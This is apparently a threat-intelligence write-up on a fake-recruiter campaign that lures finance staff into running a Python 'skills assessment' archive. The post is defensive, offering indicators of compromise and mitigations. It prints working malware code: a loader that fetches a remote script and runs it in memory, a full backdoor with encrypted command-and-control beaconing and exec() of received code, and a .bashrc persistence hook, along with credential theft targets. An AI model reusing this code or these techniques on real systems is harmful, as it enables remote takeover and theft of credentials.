14 min read

Fake Recruiter, Real Malware: Analysis of a Python-Based Malware

Fake Recruiter, Real Malware: Analysis of a Python-Based Malware

Campaign Overview

A targeted social engineering campaign has been identified leveraging fake recruiter personas to deliver Python-based malware to access-privileged individuals within financial institutions.

The threat actor initiates contact via LinkedIn by impersonating a recruiter, presenting a seemingly legitimate job opportunity. Unlike traditional phishing campaigns that rely on urgency, this campaign is deliberate, investing time to build trust, answer questions, and establish credibility before delivering payload.

Once rapport is established, communication is shifted to Telegram, where the victim is provided with a compressed archive disguised as a technical assessment or project file. Execution of the payload initiates a multi-stage infection chain that enables remote command execution, persistence, and data exfiltration.

Threat Actor Assessment

This campaign exhibits strong overlap with recruitment-themed intrusion patterns commonly associated with DPRK-linked threat actors, particularly in the following areas:

  • Use of professional networking platforms for social engineering
  • Gradual trust-building prior to payload delivery
  • Distribution of Python-based modular malware
  • Use of external communication platforms (Telegram)
  • Targeting financial institutions
  • Infrastructure usage

While these similarities are notable, attribution remains moderate confidence due to the absence of direct malware family linkage.

Social Engineering Tradecraft

The campaign's effectiveness lies in its disciplined approach to human manipulation rather than technical exploitation.

Instead of immediately delivering malware, the threat actor engages the victim in a structured interaction:

  1. Establishes credibility as a recruiter
  2. Presents a realistic job opportunity
  3. Conducts informal screening conversations
  4. Introduces a “technical assessment”
  5. Delivers the malicious payload

This approach bypasses traditional phishing detection mechanisms that rely on urgency or obvious malicious indicators, reducing suspicion and increases the likelihood of execution.

During the back-and-forth conversation, the threat actor informed the victim that someone will reach out through Telegram.

This shift of communication channel serves multiple purposes, such as avoiding enterprise email monitoring controls and enabling direct payload delivery.

Through telegram, the victim receives a ZIP archive containing a primary Python script (loader) and supporting modules. That archive is presented as a legitimate challenge or analytical task as part of the recruitment process, increasing the likelihood of execution.

Malware Analysis

The payload follows a modular design, composed of multiple Python scripts responsible for different stages of execution.

SkillScope_Visualizer Tree View

The overall execution starts in Main.py, which serves as the entry point and orchestrator of the program. From there, it invokes functions from Common.py and Basic.py.

During the execution of certain routines in Common.py, control flows further into Ops.py, making the relationship effectively:

Execution Flow Diagram

This process allows the malware to appear as a benign system diagnostic tool before transitioning into malicious behavior.

Main Script (main.py)

SkillScope_Visualizer’s main python script
SkillScope_Visualizer’s main python script. GitHub Gist: instantly share code, notes, and snippets.

The main script (main.py) serves as the entry point and orchestrates the execution flow. It is responsible for coordinating and launching the defined test routines.

Upon execution, it imports different modules: from src import Basic, Common. This means Main.py directly depends on both Basic.py and Common.py.

Inside the if __name__ == "__main__": statement, Main.py begins execution by calling:

tests_common = run_common_tests()
test_basic = run_basic_tests()

Secondary Modules (Common.py)

SkillScope_Visualizer’s Common module
SkillScope_Visualizer’s Common module. GitHub Gist: instantly share code, notes, and snippets.

The Common.py module aggregates core capabilities required by the malware, including:

  • System information gathering
  • Environment checks
  • Execution control logic
  • Utility functions

Rather than directly executing malicious actions, this module prepares the environment and ensures conditions are suitable for further execution.

The main.py calls common.py functions through:

tests = {
    "Disk Usage": Common.check_disk_usage(),
    "File System Health": Common.check_file_system_health(),
    ...
    "System Uptime": Common.check_uptime(),
    ...
}

So once run_common_tests() executes, each Common.py function runs in sequence.

Inside Common.py, the function check_uptime() contains Ops.current_timezone(). This is the pivot point where execution moves from Common.py into Ops.py.

So the chain is not just conceptual, it is an actual function call path:

  • Main.py calls Common.check_uptime()
  • Common.check_uptime() calls Ops.current_timezone()

That is the direct bridge between the second and third scripts.

Operational Module (Ops.py)

SkillScope_Visualizer’s Ops module
SkillScope_Visualizer’s Ops module. GitHub Gist: instantly share code, notes, and snippets.

The Ops.py module contains the primary operational logic of the malware.

When Common.check_uptime() calls Ops.current_timezone(), execution enters Ops.py.

def current_timezone():
    csv_path = None
    if csv_path is not None:
        with open(csv_path, newline='') as f:
            csv_data = list(csv.reader(f))
    th_init = threading.Thread(target=check_cpus, args=("pretty", ))
    th_init.start()

Based on the current_timezone() function, it performs the following:

  1. setting csv_path as None
  2. calling the open() function as a decoy CSV reading block, but it gets skipped because csv_path = None
  3. creates a new thread that runs check_cpus("pretty")

So instead of continuing sequentially in the same thread, Ops.py spawns a background thread that executes check_cpus() asynchronously.

Inside check_cpus():

hsal = "aHR0cHM6Ly9kb3RoZWJlc3Quc3RvcmUvaw=="
decoded_bytes = base64.b64decode(hsal)
base_url = decoded_bytes.decode("utf-8")
url = f"{base_url}/{val}.php"

This function decodes a Base64 string into a URL and builds a final URL using the argument passed from current_timezone().

The resulting URL becomes:

hxxps://dothebest[.]store/k/pretty[.]php

That's where things stop being “just diagnostic tool” and start looking suspicious. A function named current_timezone() that silently spawns a thread into check_cpus() and builds a hidden URL?

The screenshot below shows the captured HTTP request and response from a URL that contains a malicious Python script named temp.py.

You can find the whole and original copy of the server response here:

A malicious python script from hxxp://dothebest[.]store/k/pretty[.]php
A malicious python script from hxxp://dothebest[.]store/k/pretty[.]php - temp.py

In-Memory Execution and Evasion

One of the most critical aspects of this malware is its use of in-memory execution.

The Python script from the server response are processed inside the check_cpus() function in Ops.py, where it executes the script using subprocess.Popen() with flags such as DETACHED_PROCESS and CREATE_NEW_PROCESS_GROUP, which allows execution without writing payloads to disk and detaches execution from the parent process. The process also persist even if the initial script terminates because of the start_new_session=True.

try:
    response = requests.get(url, timeout=3)
    response.raise_for_status()
     
    tipora = response.text.encode('utf-8')
    if os.name == "nt":
        DETACHED_PROCESS = 0x00000008
        CREATE_NEW_PROCESS_GROUP = 0x00000200
        p = subprocess.Popen(
            [sys.executable, "-"],
            stdin=subprocess.PIPE,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            close_fds=True,
            creationflags=DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP,
        )
            
        p.stdin.write(tipora)
        p.stdin.close()

    else:
        p = subprocess.Popen(
            [sys.executable, "-"],
            stdin=subprocess.PIPE,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            close_fds=True,
            start_new_session=True,
        )
        
        p.stdin.write(tipora)
        p.stdin.close()

except requests.exceptions.RequestException as e:
    pass

With this technique, it significantly reduces detection by traditional antivirus and EDR solutions that rely on file-based signatures.

Script Analysis (temp.py)

The Python script, temp.py, from the server response stores two large Base64-encoded strings (kdata and rdata).

The kdata contains the following when it is base64-decoded:

url1 = "hxxps://upgradeon[.]net/k_update2[.]php"
url2 = "hxxps://updateon[.]app/update[.]php"
confirmFlag = 1

These two URLs serve as the primary and backup C2 servers.

The rdata contains the following when it is base64-decoded:

Key = bytearray([8, 1, 2, 5, 2, 1, 7, 0, 1, 1, 0, 5, 0, 7, 0, 8])
def GetObjID():
    return ''.join(random.choice(string.ascii_letters) for x in range(12))
def GetOSString():
    return platform.platform()
szObjectID = GetObjID()
szPCode = "Operating System : " + GetOSString()
szComputerName = "Computer Name : " + socket.gethostname()

def HTTP_POST(url, data):
    user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36"
    encoded_data = data.encode('utf-8')
    context = ssl._create_unverified_context()
    n_request = urllib.request.Request(url, data=encoded_data)
    n_request.add_header('User-Agent', user_agent)

    with urllib.request.urlopen(n_request, context=context, timeout = 60) as response:
        return response.read().decode('utf-8')
def xor_encrypt_decrypt(data, key):
    result = bytearray()
    for i in range(len(data)):
        result.append(data[i] ^ key[i % len(key)])
    return bytes(result)
def get_bytes_from_unicode(text, encoding = 'utf-16le'):
    return text.encode(encoding)
def block_copy(source, source_offset, destination, destination_offset, count):
    for i in range(count):
        destination[destination_offset + i] = source[source_offset + i]
def encrypt_decrypt(data: bytes, key: int) -> bytes:
    result = bytearray()
    for byte in data:
        encrypted_byte = byte ^ key
        result.append(encrypted_byte)
    return bytes(result)
def rc4(key: bytes, data: bytes) -> bytes:
    # KSA (Key Scheduling Algorithm)
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]

    # PRGA (Pseudo-Random Generation Algorithm)
    i = j = 0
    result = bytearray()
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        result.append(byte ^ K)
    return bytes(result)
def MakeRequestPacket(szContents):
    szCID = "FD429DEABE"
    szStep = "\r\n\t\tStep1 : KeepLink(P)\r\n"
    lszRequest = b""
    lpRequest = bytearray()
    lpRequestEnc = bytearray()
    if len(szContents) == 0:
        szData = szStep + szPCode + "\r\n" + szComputerName + "\r\n" + szContents
    else:
        szData = szContents
    lszRequest = "index=" + szCID + "&obindex=" + szObjectID + "&content="
    lpRequest = get_bytes_from_unicode(szData)
    lpRequestEnc = xor_encrypt_decrypt(lpRequest,Key)
    rckey = b'D2F7DN23VW'
    lpRequestEncSec = rc4(rckey, lpRequestEnc);
    szb64Data = base64.b64encode(lpRequestEncSec).decode()
    lszRequest += szb64Data
    return lszRequest
def block_copy(source, source_offset, destination, destination_offset, count):
    for i in range(count):
        destination[destination_offset + i] = source[source_offset + i]
def encrypt_decrypt(data: bytes, key: int) -> bytes:
    result = bytearray()
    for byte in data:
        encrypted_byte = byte ^ key
        result.append(encrypted_byte)
    return bytes(result)
szContents = ""
while True:
    lpCmdID = bytearray(4)
    lpDataLen = bytearray(4)
    nCMDID = 0
    nDataLen = 0
    nLen = 0
    szCode = ""
    szCodeArr = ["new string"]
    szRequest = ""
    szResponse = ""
    lpContent = bytearray()
    lpData = bytearray()
    lpContentEnc =bytearray()
    url = url1
    try:
        szRequest = MakeRequestPacket(szContents)
        szContents = ""
        if confirmFlag == 1:
            url = url1
        else:
            url = url2
        szResponse = HTTP_POST(url, szRequest)
        
        szResponse = szResponse.replace(' ', '+')
        if szResponse == "Succeed!":
            time.sleep(2)
            continue
        lpContentEnc = base64.b64decode(szResponse)
        lpContent = xor_encrypt_decrypt(lpContentEnc, Key)
        block_copy(lpContent, 0, lpCmdID, 0, 4)
        block_copy(lpContent, 4, lpDataLen, 0, 4)
        nCMDID = struct.unpack('<i',lpCmdID)[0]
        nDataLen = struct.unpack('<i',lpDataLen)[0]
        lpData = bytearray(nDataLen)
        block_copy(lpContent, 8, lpData, 0, nDataLen)
        lpData = encrypt_decrypt(lpData, 123)
        szCode = lpData.decode('utf-8')
        
        #szCodeArr[0] = szCode
        if nCMDID == 1001:
            exec(szCode)
            continue
        continue
    except Exception as e:
        excep = str(e)
        if "urlopen error" in excep:
            confirmFlag = -confirmFlag
        continue
    time.sleep(5)

The content of rdata is a backdoor designed to establish communication with a remote server, receive commands, and execute them on the infected machine.

At a high level, it works like this:

System Fingerprinting
Before beaconing, the malware gathers a small set of identifying information:

  • The campaign ID, which is the FD429DEABE
  • A randomly generated 12-character object ID - szObjectID = ''.join(random.choice(string.ascii_letters) for x in range(12))
  • The operating system - szPCode = "Operating System : " + platform.platform()
  • The computer name - szComputerName = "Computer Name : " + socket.gethostname()

This information is later packed into the initial request, allowing the operator to identify and track individual infected systems.

Encrypted Communication with C2 Server
The malware does not send its content in cleartext. Instead, it builds a request packet and applies multiple transformations before transmitting it.

  • 16-byte XOR key
    The script defines a hardcoded 16-byte XOR key: [8, 1, 2, 5, 2, 1, 7, 0, 1, 1, 0, 5, 0, 7, 0, 8]

    This key is used by the function xor_encrypt_decrypt() to XOR-encode outbound content byte-by-byte in a repeating pattern.
  • RC4 layer
    After XOR-ing the data, the script applies a second encryption layer using RC4 with the static key: D2F7DN23VWG

    The RC4 routine is implemented directly in the script and is used to further obscure the request data before transmission.
  • Base64 encoding and HTTP transport
    The encrypted bytes are then Base64-encoded and appended to an HTTP POST body in the form:
    - index=FD429DEABE
    - obindex=<random object ID>
    - content=<base64 encrypted blob>

    The request is sent over HTTPS using urllib.request, but certificate verification is explicitly disabled through ssl._create_unverified_context(). That means the malware does not validate server certificates, which makes communication more flexible for the operator and less dependent on proper TLS hygiene.

Infinite Beaconing Loop
Once initialized, the malware enters an endless while True loop. In each cycle, it:

  • Builds a request packet
  • Sends it to one of the configured C2 URLs
  • Reads the server response
  • Decodes and decrypts the response
  • Parses command metadata and payload
  • Executes the payload when conditions match

If the server responds with the literal string Succeed!, the script simply waits 2 seconds and continues beaconing. That appears to function as a keepalive or “no tasking” response.

If communication fails with a URL-related error, the script flips confirmFlag and switches to the secondary C2 URL, then keeps trying. Between failed loops it sleeps for 5 seconds.

Command Packet Parsing & Task Decryption
When a server response contains tasking instead of Succeed!, the script Base64-decodes the response and then decrypts it with the same 16-byte XOR key used earlier. It then parses the packet structure into:

  • A 4-byte command ID
  • A 4-byte data length
  • A variable-length data buffer

After extracting the payload buffer, the malware applies a second decryption routine: encrypt_decrypt(lpData, 123)

This uses a single-byte XOR key of 123 to decode the command payload before turning it into a UTF-8 string. In other words, the server's command data is protected twice:

  1. Packet-level XOR with the 16-byte key
  2. Payload-level XOR with the integer key 123

That extra step is simple, but it helps frustrate basic string extraction and makes network payloads less readable during analysis.

Remote Code Execution
After decoding the command payload, the script checks the First 4 bytes which is the command ID. If nCMDID == 1001, it executes the received string using Python's exec() function.

It means the server can send arbitrary Python code to the infected host, and the script will run it directly in the current process without dropping a separate file first. That gives the operator a flexible way to:

  • Run new functionality on demand
  • Deliver follow-on payloads
  • Change behavior without updating the original script

That is why this is better described as a loader/backdoor with dynamic task execution rather than just a static implant.

Decoding/Decrypting Messages
To properly understand the messages being sent outbound and being received inbound, we reverse engineered the malware to understand what is happening.

dec.py
GitHub Gist: instantly share code, notes, and snippets.

With this script, we can now see the outbound and inbound messages.

  • Outbound
    The parameter content holds the information from the compromised machine that is being passed to the attacker's server.
  • Inbound
    Unfortunately, was not able to capture the 1001 command ID during the live attack simulation. But, was able to capture 1002 and 1003 command IDs.

    Based on observation, the meaning of commands are the following:
    • 1001 - Executable Command
    • 1002 - Path
    • 1003 - Garbage

1002

1003

Since I do not have a sample for 1001, what I can share is the following commands executed by the threat actor.

At that point, it pretty much confirms they're going after the crown jewels. I had a feeling that was the case, so I created a honeypot using Canary Tokens inside the .aws folder.

They took it and actually tried to use it by running the get-caller-identity.

Notification of triggered canarytoken

The Source IP, 37[.]120[.]151[.]162, is actually listed as one of the IoCs on the website linked below. According to Recorded Future, it's linked to a North Korean state-sponsored threat group that may overlap with the “Contagious Interview” campaign.

PurpleBravo’s Targeting of the IT Software Supply Chain
‘PurpleBravo’s Targeting of the IT Software Supply Chain’ published by RecordedFuture

Persistence Mechanism
The threat actor modifies .bashrc to establish persistence.

{
  lock_file="/tmp/settings.lock"
  running_count=$(ps aux | grep "[i]nnet.xml" | wc -l)

  if [ "$running_count" -lt 2 ] && [ ! -f "$lock_file" ]; then
      touch "$lock_file"
      (nohup python3 "$HOME/.var/innet.xml" >/dev/null 2>&1 & disown) >/dev/null 2>&1
      (sleep 5 && rm -f "$lock_file") >/dev/null 2>&1 & disown
  fi
} >/dev/null 2>&1

This payload executes when the shell starts and runs silently in the background. It checks whether a specific Python script (innet.xml) is already running. The innet.xml file is actually the temp.py script, likely created by the threat actor after compromising the victim's machine. It also prevents multiple instances by using the /tmp/settings.lock file.

Data Collection and Exfiltration
The malware gathers sensitive data from the host system, packages it into a ZIP file, and then exfiltrates it. This includes:

  • SSH Keys
  • Cloud Credentials (AWS Configs)
  • Browser Sessions and Cookies
  • Stored Credentials
  • System Commands and Logs
Exfiltration Traffic Sample #1
Exfiltration Traffic Sample #2

Indicators of Compromise

Indicator Type Hash / IP Address Comment TTP ID
hxxps://br[.]linkedin[.]com/in/arlan-junior-4b300226b URL N/A LinkedIn profile "Arlan Junior" was used to approach victim with job offer
  • T1585.001 - Establish Accounts: Social Media Accounts
  • T1598 - Phishing for Information
hxxps://web[.]telegram[.]org/k/?account=2#@idipharma_roberto URL N/A Telegram account “@idipharma_roberto” used as secondary communication channel after LinkedIn contact; delivered malicious ZIP file to victim for execution
  • T1585.001 - Establish Accounts: Social Media Accounts
  • T1566.001 - Phishing: Spearphishing Attachment
  • T1566.003 - Phishing: Spearphishing via Service (Telegram)
roberto[.]bottino@idipharma[.]com Email Address N/A Email address used by threat actor to request victim's CV after Telegram outreach
  • T1585.002 - Establish Accounts: Email Accounts
SkillScope_Visualizer.zip Malware dd9ac57e6ad21c8b81e13abfbf997a169ca9725f077f1092853eba38edcc0231 ZIP archive sent via Telegram containing malicious Python script
  • T1566.001 - Phishing: Spearphishing Attachment
  • T1027.013 - Obfuscated Files or Information: Encrypted/Encoded File
  • T1027.015 - Obfuscated Files or Information: Compression
main[.]py Malware f02fcc08ccae0e87bf2810df94627fbbca45105bc922d8718fa2eb97e330864c User extracted ZIP and executed malicious Python script (main.py) which initiated download of secondary payload
  • T1204.002 - User Execution: Malicious File
  • T1059.006 - Command and Scripting Interpreter: Python
  • T1105 - Ingress Tool Transfer
Common[.]py Malware 9b46ae245a90950674105388e5df3458b7d083d2fc44a9833e1afd1f1f7c2c7e Python script execute to call Ops.py, a malicious python script
  • T1204.002 - User Execution: Malicious File
  • T1059.006 - Command and Scripting Interpreter: Python
  • T1105 - Ingress Tool Transfer
Ops[.]py Malware 4b67f02254f6864259a49e1618ce68b4d4ddd0367dfcd0515593e610432c6b77 Malicious Python script executed post-archive extraction; contacts dothebest.store to retrieve secondary payload innet.xml
  • T1204.002 - User Execution: Malicious File
  • T1059.006 - Command and Scripting Interpreter: Python
  • T1105 - Ingress Tool Transfer
hxxps://dothebest[.]store URL 144.172.110[.]195 Domain contacted by malicious main.py script to download additional payload after execution
  • T1105 - Ingress Tool Transfer
innet.xml Malware 80b1c5fda4e918baa238be25eba62dfc7947ab17627bb2b3a406196fb3100cc2 File downloaded from dothebest[.]store; masquerades as XML but contains executable Python code used for C2 activity
  • T1059.006 - Command and Scripting Interpreter: Python
  • T1036.008 - Masquerading: Masquerade File Type
.bashrc Malware a86afefcc0cbe70f289d61530200b682fc2bb282d0b55d08943f585c3c45e822 Threat actor modified .bashrc to silently execute malicious payload upon shell initialization
  • T1059.004 - Command and Scripting Interpreter: Unix Shell
  • T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification
hxxps://upgradeon[.]net URL 162.33.178[.]89 Domain contacted by malicious Python process during post-execution stage; suspected C2 or secondary payload infrastructure
  • T1071.001 - Application Layer Protocol: Web Protocols
hxxps://updateon[.]app URL 43.245.227[.]240 Domain contacted by malicious Python process during post-execution stage; suspected C2 or secondary payload infrastructure
  • T1071.001 - Application Layer Protocol: Web Protocols

Mitigation Recommendations

  • Restrict execution of unauthorized scripts and binaries
  • Implement network filtering and outbound traffic controls
  • Conduct user awareness training focused on recruiter-based social engineering
  • Deploy EDR solutions capable of detecting in-memory execution